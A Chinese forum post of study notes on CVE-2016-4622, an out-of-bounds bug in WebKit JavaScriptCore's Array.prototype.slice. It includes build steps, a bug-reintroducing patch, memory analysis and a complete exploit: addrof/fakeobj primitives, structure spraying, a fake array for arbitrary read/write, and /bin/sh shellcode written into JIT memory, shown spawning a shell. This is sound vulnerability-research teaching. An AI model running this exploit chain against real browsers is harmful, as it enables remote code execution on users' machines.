首页
社区
课程
招聘
[原创]CVE-2016-4622 Webkit slice学习笔记
发表于: 2020-4-8 15:34 6112

[原创]CVE-2016-4622 Webkit slice学习笔记

2020-4-8 15:34
6112

清明节后,很多企业陆续都复工了,各位学习安全技能的小伙伴也要按部就班的完成学习规划啦~

今天的文章分享是 i 春秋论坛作者PwnRabb1t原创的文章,关于CVE-2016-4622 Webkit slice的一篇学习笔记,文章篇幅较长,阅读约15分钟,文章未经许可禁止转载!

在fireshell 2020之前的时候遇到了很多webkit的pwn题,发现webkit还可以在ubuntu上编译,于是燃起了学习欲望,决定研究一下webkit的漏洞利用。

在学习webkit之前,需要看saelo关于cve-2016-4622利用的文章,这篇文章记录了自己的学习过程,网上对这个cve也有很多的分析,所以一些比较基础的知识点会适当省略,如若文章中出现理解有误的地方望大佬批评指正。

环境搭建

文章涉及的环境配置如下:

ubuntu 18.04 虚拟机
webkit (3af5ce129e6636350a887d01237a65c2fce77823)
gdb(pwndbg 插件),lldb

webkit在github上有对应的副本,可以直接git clone下来,然后checkout到我们使用的版本3af5ce129e6636350a887d01237a65c2fce77823。

git clone --depth=1 https://github.com/WebKit/webkit
git fetch --unshallow

编译只要两行命令(在ubuntu1804上编译没有遇到什么错误)

Tools/gtk/install-dependencies
Tools/Scripts/build-webkit --jsc-only --debug

编译大概10多分钟,然后在WebKitBuild/Debug/bin/jsc下找到可执行文件。

╰─○ ./Debug/bin/jsc
>>> 1+1
2
>>> a=[1.1]
1.1
>>> describe(a)
Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf4f2a70:[Array, {},
>>>                                       

cve-2016-0622 是好多年前的洞了,有漏洞的分支在ubuntu1804上编译不了,我们使用的分支是18年的,要得到有漏洞的程序,我们需要手动打一下patch。

diff --git a/Source/JavaScriptCore/runtime/ArrayPrototype.cpp b/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
index c37389aa857..f77821c89ae 100644
--- a/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
+++ b/Source/JavaScriptCore/runtime/ArrayPrototype.cpp
@@ -973,7 +973,7 @@ EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
     if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
         return { };

-    bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == toLength(exec, thisObj);
+    bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj);
     RETURN_IF_EXCEPTION(scope, { });
     if (LIKELY(okToDoFastPath)) {
         if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
diff --git a/Source/JavaScriptCore/runtime/ObjectInitializationScope.cpp b/Source/JavaScriptCore/runtime/ObjectInitializationScope.cpp
index e19c8a92a4e..550bc2fe270 100644
--- a/Source/JavaScriptCore/runtime/ObjectInitializationScope.cpp
+++ b/Source/JavaScriptCore/runtime/ObjectInitializationScope.cpp
@@ -44,7 +44,7 @@ ObjectInitializationScope::~ObjectInitializationScope()
 {
     if (!m_object)
         return;
-    verifyPropertiesAreInitialized(m_object);
+    //verifyPropertiesAreInitialized(m_object);
 }

 void ObjectInitializationScope::notifyAllocated(JSObject* object, bool wasCreatedUninitialized)

然后是调试环境,我这里用的是gdb,你可以在webkit的Tools/gdb目录下找到一个Python脚本,在gdbinit上导入它你就可以正常的调试jsc了。

python                                             
import sys                                         
sys.path.insert(0, "/webkit/webkit/Tools/gdb")
import webkit                                      

跟d8类似,jsc可以用describe函数来打印出对象的内存信息(d8中的%DebugPrint),但是它没有类似d8%SystemBreak的断点函数,这里我用readline( )函数代替,可以让程序停下来,然后查看内存。

Reading symbols from ./Debug/bin/jsc...done.
pwndbg> r
Starting program: /webkit/webkit/WebKitBuild/Debug/bin/jsc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff0781700 (LWP 33916)]
>>> a=[1.1]
1.1
>>> describe(a)
Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98
>>>


漏洞分析

下面是cve的poc,执行之后得到的是一堆的浮点数,b是a.slice出来的,valueOf的返回值是10,相当于是b=a.slice(0,10)这样,但是这个操作是在valueOf里面a.length =0执行之后做的,这样slice之后就是一个数组越界了。

var a = [];                        
for (var i = 0; i < 100; i++)      
    a.push(i + 0.123);            

var b = a.slice(0, {               
      valueOf: function() {        
        a.length = 0;              
      return 10;                  
      }                           
    }                              
);                                 
print(b);                          
//0.123,1.123,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314

但是为什么会这样呢?

我们给原始码的patch去掉了arrayProtoFuncSlice函数的length == toLength(exec, thisObj)检查,它对应的数组类型的slice函数,继承如下,对应我们的poc。

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec){
    // https://tc39.github.io/ecma262/#sec-array.prototype.slice
    VM& vm = exec->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    EXCEPTION_ASSERT(!!scope.exception() == !thisObj);
    if (UNLIKELY(!thisObj))
        return { };
    // 获取 array 的长度, 这里 a.length == 100
    unsigned length = toLength(exec, thisObj);
    RETURN_IF_EXCEPTION(scope, { });
    // slice 获取 slice 函数的 begin 和 end, 这里分别是 0, 10
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    RETURN_IF_EXCEPTION(scope, { });
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    RETURN_IF_EXCEPTION(scope, { });
    if (end < begin)
        end = begin;

    std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);
    // We can only get an exception if we call some user function.
    EXCEPTION_ASSERT(!!scope.exception() == (speciesResult.first == SpeciesConstructResult::Exception));
    if (UNLIKELY(speciesResult.first == SpeciesConstructResult::Exception))
        return { };

    //bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) && length == toLength(exec, thisObj);
    bool okToDoFastPath = speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj) ;
   if (LIKELY(okToDoFastPath)) {
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
 //.....................
   static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0){
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    double indexDouble = value.toInteger(exec);
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

在获取slice的end参数的时候,会先执行valueOf里面的内容,这里是a.length = 0;,于是JSC::JSArray::setLength函数会被调用,如果原来的数组长度大于64,它会调用reallocateAndShrinkButterfly根据长度重新给数组分配一个butterfly。

那么poc的valueOf执行完之后,a就分配到了一个更小的内存里面了,然后的a.length=0,接着arrayProtoFuncSlice会调用JSC::JSArray::fastSlice(fastSlice不会检查array的length)把原来a[0 , 10]的内存复制到b里面,于是就有了数组越界了。

bool JSArray::setLength(ExecState* exec, unsigned newLength, bool throwException)
{
    VM& vm = exec->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);

    Butterfly* butterfly = this->butterfly();
    switch (indexingMode()) {
//...
    case ArrayWithUndecided:
    case ArrayWithInt32:
    case ArrayWithDouble:
    case ArrayWithContiguous: {
        if (newLength == butterfly->publicLength())
            return true;
        if (newLength > MAX_STORAGE_VECTOR_LENGTH // This check ensures that we can do fast push.
            || (newLength >= MIN_SPARSE_ARRAY_INDEX
                && !isDenseEnoughForVector(newLength, countElements()))) {
            RELEASE_AND_RETURN(scope, setLengthWithArrayStorage(
                exec, newLength, throwException,
                ensureArrayStorage(vm)));
        }
        if (newLength > butterfly->publicLength()) {
            if (!ensureLength(vm, newLength)) {
                throwOutOfMemoryError(exec, scope);
                return false;
            }
            return true;
        }

        unsigned lengthToClear = butterfly->publicLength() - newLength;
        unsigned costToAllocateNewButterfly = 64; // a heuristic.
        if (lengthToClear > newLength && lengthToClear > costToAllocateNewButterfly) {
            reallocateAndShrinkButterfly(vm, newLength);
            return true;
        }

        if (indexingType() == ArrayWithDouble) {
            for (unsigned i = butterfly->publicLength(); i-- > newLength;)
                butterfly->contiguousDouble().at(this, i) = PNaN;
        } else {
            for (unsigned i = butterfly->publicLength(); i-- > newLength;)
                butterfly->contiguous().at(this, i).clear();
        }
        butterfly->setPublicLength(newLength);
        return true;
    }

//..
    }
}

到这里我们就知道漏洞是如何被触发的了,在实际做漏洞利用之前我们需要了解一下jsc中对象的内存布局。

你可以在Source/JavaScriptCore/runtime/JSCJSValue.h找到jsc对各种类型对象的描述,jsc中只用后48bit来表示地址,开始的16个bit表示不同的内存对象,就像d8中指针类型要+1一样。

 |*                                                                                       
 |* The top 16-bits denote the type of the encoded JSValue:                              
 |*                                                                                       
 |*     Pointer {  0000:PPPP:PPPP:PPPP                                                   
 |*              / 0001:****:****:****                                                   
 |*     Double  {         ...                                                            
 |*              \ FFFE:****:****:****                                                   
 |*     Integer {  FFFF:0000:IIII:IIII                                                   
 |*                                                                                       
 |* The scheme we have implemented encodes double precision values by performing a        
 |* 64-bit integer addition of the value 2^48 to the number. After this manipulation      
 |* no encoded double-precision value will begin with the pattern 0x0000 or 0xFFFF.      
 |* Values must be decoded by reversing this operation before subsequent floating point   
 |* operations may be peformed.                                                           
 |*                                                                                       
 |* 32-bit signed integers are marked with the 16-bit tag 0xFFFF.                        
 |*                                                                                       
 |* The tag 0x0000 denotes a pointer, or another form of tagged immediate. Boolean,      
 |* null and undefined values are represented by specific, invalid pointer values:        
 |*                                                                                       
 |*     False:     0x06                                                                  
 |*     True:      0x07                                                                  
 |*     Undefined: 0x0a                                                                  
 |*     Null:      0x02                                                                  

我们创建一个数组对象,需要注意的有butterfly和structure这两个东西。

(lldbinit) r
Process 35875 launched: './Debug/bin/jsc' (x86_64)
>>> a=[1.1]
1.1
>>> describe(a)
Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98
>>> Process 35875 stopped
* thread #1, name = 'jsc', stop reason = signal SIGSTOP
    frame #0: 0x00007ffff344e0b4 libc.so.6`__GI___libc_read at read.c:27
(lldbinit) x/10gx 0x7fffaf4b4340
0x7fffaf4b4340: 0x0108210700000062 0x00007fe0000e4008
0x7fffaf4b4350: 0x00000000badbeef0 0x00000000badbeef0
0x7fffaf4b4360: 0x00000000badbeef0 0x00000000badbeef0
0x7fffaf4b4370: 0x00000000badbeef0 0x00000000badbeef0
0x7fffaf4b4380: 0x00000000badbeef0 0x00000000badbeef0
(lldbinit) p/x *(JSC::JSObject *)0x7fffaf4b4340
(JSC::JSObject) $3 = {
  JSC::JSCell = {
    m_structureID = 0x00000062
    m_indexingTypeAndMisc = 0x07
    m_type = 0x21
    m_flags = 0x08
    m_cellState = 0x01
  }
  m_butterfly = (m_value = 0x00007fe0000e4008)
}

这里我们要关注m_structureID,jsc把不同的structure描述放在一个表里面,m_structureID就是不同的对应structure的索引,数组的属性之类做了改变,也会跟着换m_structureID,主要是一些优化上的考虑。

>>> a=[1.1]
1.1
>>> describe(a)
Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98
>>> a.push({})
2
>>> describe(a)
Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99
>>> a.x=1
1
>>> describe(a)
Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e0028 (Structure 0x7fffaf470310:[Array, {x:100}, ArrayWithContiguous, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 294


漏洞利用

从上面分析我们知道这是一个数组越界的漏洞,在浏览器的利用中,一般的步骤是构造出addrof和fakeobj函数,然后构造出任意地址读写,最后劫持控制流之类的,像v8的利用中,可以用wasmInstance的内存地址,然后写shellcode来getshell。

这里我们的利用步骤如下:

  • 构造addrof和fakeobj
  • 构造任意地址读写
  • 改写jit编写shellcode getshell


构造addrof和fakeobj

jsc和d8些许的不同,但是基本思路还是差不多的,我们先要有下面两个函数,方便做double到unsigned long类型的转换。

var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)

var BASE32 = 0x100000000
function f2i(f) {
    f64[0] = f
    return i32[0] + BASE32 * i32[1]
}

function i2f(i) {
    i32[0] = i % BASE32
    i32[1] = i / BASE32
    return f64[0]

addrof的实现如下:

function addrof(obj){
    var a=[];
    for(var i=0;i<100;i++){
        a.push(i+0.123);
    }
    var b=a.slice(0,{
        valueOf:function(){
            a.length=0;
            print(describe(a))
            var c=[obj];
            print(describe(c))
            return 10;
        }
    });
    print(describe(b))
    return f2i(b[4]);
}

test = [1.1];
print(addrof(test).toString(16))
readline()

内存分配都会把差不多一样的内存块分配到一起,这里a和c的分配是连续的,c中存放的是一个对象,slice之后会被拷贝到b的butterfly里面,然后读b [4]就可以拿到原来obj的地址。

注意这里slice之后b的类型会和原本a的类型一致,它们都是ArrayWithDouble,也就是double数组,用它来读数据获取到的是内存中实际保存的内容,如果是其他的类型如ArrayWithContiguous,读取到对象指针的时候返回的会是一个对象。

Object: 0x7fffaf4b4390 with butterfly 0x7fe0000fe928 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98
Object: 0x7fffaf4b43a0 with butterfly 0x7fe0000fe948 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99
Object: 0x7fffaf4b43b0 with butterfly 0x7fe0000d4078 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98

pwndbg> x/20gx 0x7fe0000fe928
//a (length == 0)
0x7fe0000fe928: 0x3fbf7ced916872b0      0x3ff1f7ced916872b
0x7fe0000fe938: 0x00000000badbeef0      0x0000000300000001
// c = [obj]
0x7fe0000fe948: 0x00007fffaf4b4380      0x0000000000000000
0x7fe0000fe958: 0x0000000000000000      0x00000000badbeef0
0x7fe0000fe968: 0x00000000badbeef0      0x00000000badbeef0
0x7fe0000fe978: 0x00000000badbeef0      0x00000000badbeef0
0x7fe0000fe988: 0x00000000badbeef0      0x00000000badbeef0
0x7fe0000fe998: 0x00000000badbeef0      0x00000000badbeef0
0x7fe0000fe9a8: 0x00000000badbeef0      0x00000000badbeef0
0x7fe0000fe9b8: 0x00000000badbeef0      0x00000000badbeef0
pwndbg> x/20gx 0x7fe0000d4078
0x7fe0000d4078: 0x3fbf7ced916872b0      0x3ff1f7ced916872b
0x7fe0000d4088: 0x00000000badbeef0      0x0000000300000001
0x7fe0000d4098: 0x00007fffaf4b4380      0x0000000000000000
0x7fe0000d40a8: 0x0000000000000000      0x00000000badbeef0
0x7fe0000d40b8: 0x00000000badbeef0      0x00000000badbeef0
0x7fe0000d40c8: 0x7ff8000000000000      0x7ff8000000000000
0x7fe0000d40d8: 0x7ff8000000000000      0x00000000badbeef0
0x7fe0000d40e8: 0x00000000badbeef0      0x00000000badbeef0
0x7fe0000d40f8: 0x00000000badbeef0      0x00000000badbeef0
0x7fe0000d4108: 0x00000000badbeef0      0x00000000badbeef0

fakeobj的构造也是类似,这里我们的a的原本类型是ArrayWithInt32,就像前面说的,传进去一个伪造的对象地址就会返回一个对象。

function fakeobj(addr){
    var a=[];
    for(var i=0;i<100;i++){
        a.push(0x1337)
    }
    addr = i2f(addr);
    var b= a.slice(0,{
        valueOf:function(){
            a.length=1;
            var c=[addr]
            return 10;
        }
    });
    print(describe(b))
    return b[4];
}
//test=[1.1]                                             
//var tmp = fakeobj(addrof(test))   
//print(describe(test))            
//print(describe(tmp))              
//readline()                        

构造任意地址读写

好了,接下来我们要构造出任意地址读写,在这个之前我们需要知道,jsc中不同的类型是在不同的区域分配内存的,就像我们前面的:

Object: 0x7fffaf4b4390 with butterfly 0x7fe0000fe928 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98
Object: 0x7fffaf4b43a0 with butterfly 0x7fe0000fe948 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99
Object: 0x7fffaf4b43b0 with butterfly 0x7fe0000d4078 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 98

JSObject和butterfly的内存分配就不在一个地方,在v8中我们可以用改写map之类的来构造内存读写,这里就写不到了,但是jsc中存在有inline类型的数据,像下面这样,它会把前6个属性保存在JSObject的下面,我们可以把伪造的对象放在这个地方,然后`fakeobj(0x7fffaf4b0080 + 0x10)就可以拿到这个伪造的对象。

>>> test={a:1,b:2,c:3,d:4,e:5,f:6,g:7}
[object Object]
>>> describe(test)
Object: 0x7fffaf4b0080 with butterfly 0x7fe0000fe6e8 (Structure 0x7fffaf4705b0:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:100}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 300
>>> Process 39470 stopped
* thread #1, name = 'jsc', stop reason = signal SIGSTOP
    frame #0: 0x00007ffff344e0b4 libc.so.6`__GI___libc_read at read.c:27
(lldbinit) x/10gx 0x7fffaf4b0080
0x7fffaf4b0080: 0x010016000000012c 0x00007fe0000fe6e8
0x7fffaf4b0090: 0xffff000000000001 0xffff000000000002
0x7fffaf4b00a0: 0xffff000000000003 0xffff000000000004
0x7fffaf4b00b0: 0xffff000000000005 0xffff000000000006
0x7fffaf4b00c0: 0x00000000badbeef0 0x00000000badbeef0

sealo是通过修改Float64Array的m_vector来获得任意地址读写的能力。

实现在Source/JavaScriptCore/runtime/JSArrayBufferView.h的JSC::JSArrayBufferView,m_vector指向的是要读写的内存,只要改了这个指针就可以任意地址读写了。

>>> var tmp =  new ArrayBuffer(0x1000)
undefined        
>>> var f64 =  new Float64Array(tmp)        
undefined
>>> describe(tmp)
Object: 0x7fffaf4c8280 with butterfly (nil) (Structure 0x7fffaf4f3640:[ArrayBuffer, {}, NonArray, Proto:0x7fffaf4c81e0, Leaf]), StructureID: 125
>>> describe(f64)   
Object: 0x7fffaf4c8360 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf4707e0:[Float64Array, {}, NonArray, Proto:0x7fffaf4b4350, Leaf]), StructureID: 305
>>> Process 40107 stopped              
* thread #1, name = 'jsc', stop reason = signal SIGSTOP
    frame #0: 0x00007ffff344e0b4 libc.so.6`__GI___libc_read at read.c:27
(lldbinit) x/10gx 0x7fffaf4c8360
0x7fffaf4c8360: 0x01082c0000000131 0x00007fe0000e4008
0x7fffaf4c8370: 0x00007fe8000ff000 0x0000000200000200
0x7fffaf4c8380: 0x010217000000003a 0x0000000000000000
0x7fffaf4c8390: 0x00007fffaf4cc000 0x00000000badbeef0
0x7fffaf4c83a0: 0x010217000000003a 0x0000000000000000
(lldbinit) x/10gx 0x00007fe8000ff000
0x7fe8000ff000: 0x0000000000000000 0x0000000000000000
0x7fe8000ff010: 0x0000000000000000 0x0000000000000000
0x7fe8000ff020: 0x0000000000000000 0x0000000000000000
0x7fe8000ff030: 0x0000000000000000 0x0000000000000000
0x7fe8000ff040: 0x0000000000000000 0x0000000000000000
(lldbinit) x/10gx 0x7fffaf4c8280
0x7fffaf4c8280: 0x010023000000007d 0x0000000000000000
0x7fffaf4c8290: 0x00007fffefec1840 0x00000000badbeef0
0x7fffaf4c82a0: 0x01002e0000000043 0x0000000000000000
0x7fffaf4c82b0: 0x00007fffaf468060 0x00007fffaf4d0060
0x7fffaf4c82c0: 0x01002e0000000043 0x0000000000000000
(lldbinit) p/x *(JSC:JSArrayBufferView*)0x7fffaf4c8360
(JSC::JSArrayBufferView) $0 = {
  JSC::JSNonFinalObject = {
    JSC::JSObject = {
      JSC::JSCell = {
        m_structureID = 0x00000131
        m_indexingTypeAndMisc = 0x00
        m_type = 0x2c
        m_flags = 0x08
        m_cellState = 0x01
      }
      m_butterfly = (m_value = 0x00007fe0000e4008)
    }
  }
  m_vector = {
    m_barrier = {
      m_value = (m_ptr = 0x00007fe8000ff000)
    }
  }
  m_length = 0x00000200
  m_mode = 0x00000002
}
  Fix-it applied, fixed expression was:
    *(JSC::JSArrayBufferView*)0x7fffaf4c8360
gigacage

现在的m_vector加上了gigicage的保护CagedPtr<Gigacage::Primitive, void, tagCagedPtr> m_vector,gigacage是jsc中内存隔离的机制。

基于安全考虑,jsc不同类型的数据类型会在不同的内存块上做分配(Source/bmalloc/bmalloc/HeapKind.h)

enum class HeapKind {
                Primary,
                PrimitiveGigacage,
                JSValueGigacage        //butterfly
        };

jsc保存一个磁盘分区g_gigacageBasePtrs,保存着不同类型的内存的基地址,内存块之间有32GB的间隔,因为jsc中数组下标的定义是unsigned int类型,这样能够防止数组越界。

特定类型的gigacage在内存操作的时候会做检查,像上面的m_vector,它被定义在PrimitiveGigacage这个堆块里面,如果把它改到其他的地方就会出错。

pwndbg> p &g_gigacageBasePtrs
$1 = (char (*)[4096]) 0x55555561f000 <g_gigacageBasePtrs>
pwndbg> x/10gx 0x55555561f000
0x55555561f000 <g_gigacageBasePtrs>:    0x00007fe800000000      0x00007ff000000000
0x55555561f010 <g_gigacageBasePtrs+16>: 0x0000000000000000      0x0000000000000000
0x55555561f020 <g_gigacageBasePtrs+32>: 0x0000000000000000      0x0000000000000000
0x55555561f030 <g_gigacageBasePtrs+48>: 0x0000000000000000      0x0000000000000000
0x55555561f040 <g_gigacageBasePtrs+64>: 0x0000000000000000      0x0000000000000000

改m_vector是不行了,但是butterfly是没有加上gigacage检查的,新的利用方法是改写ArrayWithDoubles的butterfly字段。

首先我们需要伪造对象,我们要伪造的是ArrayWithDoubles类型的对象,只需要有JSCell和butterfly两个区块,伪造的时候我们需要保证m_structureID是存在的,不然就会出错,我们可以生成大量不一样的double数组,这样就会分配一堆的结构ID,我们随便拿一个(像这里0x200)是存在的几率就比较大。

var structs = [];
function sprayStructures() {
    for (var i = 0; i < 1000; i++) {
            var a = [13.37];
            a['prop'] = 13.37;
            a['prop' + i] = 13.37;
            structs.push(a);
        }
}
sprayStructures()

var victim = structs[0x300];

var header_arrayDouble=i2f(0x0108210700000200-0x1000000000000)
var container={
    fake_header:header_arrayDouble,
    butterfly: victim
}
container_addr=addrof(container);
hax = fakeobj(container_addr+0x10);// fake object

伪造之后的内存布局如下:

//hax
jscell                //victim
butterfly -------->   jscell
             (hax[1]) butterfly  ----->(read/write anywhere)

我们修改hax [1]的值,也就是修改被攻击者的butterfly字段到想要读写的地址,然后读取被攻击者就可以任意地址读写。

    read64:function(addr){
        hax[1]=i2f(addr+0x10)
        return this.addrof(victim.prop)
    },
    write64:function(addr,data){
        hax[1]=i2f(addr+0x10)
        victim.prop = this.fakeobj(data)
    },

写JIT getshell

有了任意地址读写,接下来就是如何getshell的问题了,我们可以写wasm和JIT来执行shellcode。

JIT保存是经常执行的一些代码段,我们可以重复执行某一个函数,然后他就会被放到JIT中,JIT和wasm一样是rwx的内存,导致这块内存,写入shellcode然后再次执行这个函数就可以getshell了。

getJITFunction : function (){
        function target(num) {
            for (var i = 2; i < num; i++) {
                if (num % i === 0) {
                    return false;
                }
            }
            return true;
        }
        for (var i = 0; i < 1000; i++) {
                    target(i);
                }
        for (var i = 0; i < 1000; i++) {
                    target(i);
                }
        for (var i = 0; i < 1000; i++) {
                    target(i);
                }
        return target;
    },

完整exp如下:

var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)

var BASE32 = 0x100000000
function f2i(f) {
    f64[0] = f
    return i32[0] + BASE32 * i32[1]
}

function i2f(i) {
    i32[0] = i % BASE32
    i32[1] = i / BASE32
    return f64[0]
}

var structs = [];
function sprayStructures() {
    for (var i = 0; i < 1000; i++) {
            var a = [13.37];
            a['prop'] = 13.37;
            a['prop' + i] = 13.37;
            structs.push(a);
        }
}

function addrof(obj){
    var a=[];
    for(var i=0;i<100;i++){
        a.push(i+0.123);
    }
    var b=a.slice(0,{
        valueOf:function(){
            a.length=0;
            //print(describe(a))
            var c=[obj];
            //print(describe(c))
            return 10;
        }
    });
    //print(describe(b))
    return f2i(b[4]);
}

function fakeobj(addr){
    var a=[];
    for(var i=0;i<100;i++){
        a.push(0x1337)
    }
    addr = i2f(addr);
    var b= a.slice(0,{
        valueOf:function(){
            a.length=0;
            var c=[addr]
            print(describe(a))
            print(describe(c))
            return 10;
        }
    });
    print(describe(b))
    return b[4];
}

sprayStructures()

var victim = structs[0x300];

var header_arrayDouble=i2f(0x0108210700000200-0x1000000000000)
var container={
    fake_header:header_arrayDouble,
    butterfly: victim
}

//print(describe(container))
container_addr=addrof(container);
hax = fakeobj(container_addr+0x10);

print(container_addr.toString(16));
print(describe(hax));
print(describe(victim));

//ArrayWithDouble
var unboxed = [1.1]
unboxed[0]=3.3

//ArrayWithContigous
var boxed = [{}]

hax[1] = i2f(addrof(unboxed))
var shared = victim[1]
hax[1] = i2f(addrof(boxed))
victim[1] = shared;
print(describe(unboxed))
print(describe(boxed))

var stage2={
    addrof: function(obj){
        boxed[0]=obj;
        return f2i(unboxed[0])
    },
    fakeobj: function(addr){
        unboxed[0]=i2f(addr)
        return boxed[0]
    },
    read64:function(addr){
        hax[1]=i2f(addr+0x10)
        return this.addrof(victim.prop)
    },
    write64:function(addr,data){
        hax[1]=i2f(addr+0x10)
        victim.prop = this.fakeobj(data)
    },
    getJITFunction : function (){
        function target(num) {
            for (var i = 2; i < num; i++) {
                if (num % i === 0) {
                    return false;
                }
            }
            return true;
        }
        for (var i = 0; i < 1000; i++) {
                    target(i);
                }
        for (var i = 0; i < 1000; i++) {
                    target(i);
                }
        for (var i = 0; i < 1000; i++) {
                    target(i);
                }
        return target;
    },
    getRWXMem: function(){
        shellcodeFunc = this.getJITFunction()
        target_addr = this.read64(this.addrof(shellcodeFunc)+8*3)
        print(target_addr.toString(16))
        target_addr = this.read64(target_addr + 8*3)
        target_addr = this.read64(target_addr + 8*4)
        return [shellcodeFunc, target_addr]
    },
    injectShellcode : function (addr, shellcode){
        var theAddr = addr;
        for(var i=0, len=shellcode.length; i < len; i++){
            this.write64(target_addr+i, shellcode[i].charCodeAt());
        }
    },
    pwn:function(){
        shellcodeObj = this.getRWXMem();
        shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
        this.injectShellcode(shellcodeObj[1], shellcode);
        var shellcodeFunc = shellcodeObj[0];
        shellcodeFunc();
    },

};

stage2.pwn()

运行效果如下:

{} WebKitBuild ./Debug/bin/jsc   exp.js
Object: 0x7fffaf40c360 with butterfly 0x7fe0000be8e8 (Structure 0x7fffaf4f2a00:[Array, {}, ArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 97
Object: 0x7fffaf40c370 with butterfly 0x7fe0000be908 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0]), StructureID: 98
Object: 0x7fffaf40c380 with butterfly 0x7fe0000d81c8 (Structure 0x7fffaf4f2a00:[Array, {}, ArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 97
7fffaf4c8380
Object: 0x7fffaf4c8390 with butterfly 0x7fffaf4b7380 (Structure 0x7fffaf4423e0:[Array, {prop:100, prop194:101}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 512
Object: 0x7fffaf4b7380 with butterfly 0x7fe0000c12b8 (Structure 0x7fffaf41e4c0:[Array, {prop:100, prop768:101}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 1086
Object: 0x7fffaf40c390 with butterfly 0x7fe0000be928 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0]), StructureID: 98
Object: 0x7fffaf40c3a0 with butterfly 0x7fe0000be928 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99
7fffaf4fe680
# id
uid=0(root) gid=0(root) groups=0(root)
#


文末总结

总的来说webkit的pwn和v8的思路上差不多,只是这两个的内存布局不太一样,要搞清楚还是需要花挺多时间的。最新的webkit还加上了structure id random的保护机制,让structure id变了得更加不可预测,后续会分享关于学习这个防护原理以及绕过思路的相关文章,感兴趣的小伙伴请及时关注。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 83
活跃值: (1087)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
2
mark
2020-4-8 22:19
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3

 随着数组保存的元素类型不同,structure也跟着变是吧?


2021-7-3 14:51
0
游客
登录 | 注册 方可回帖
返回
//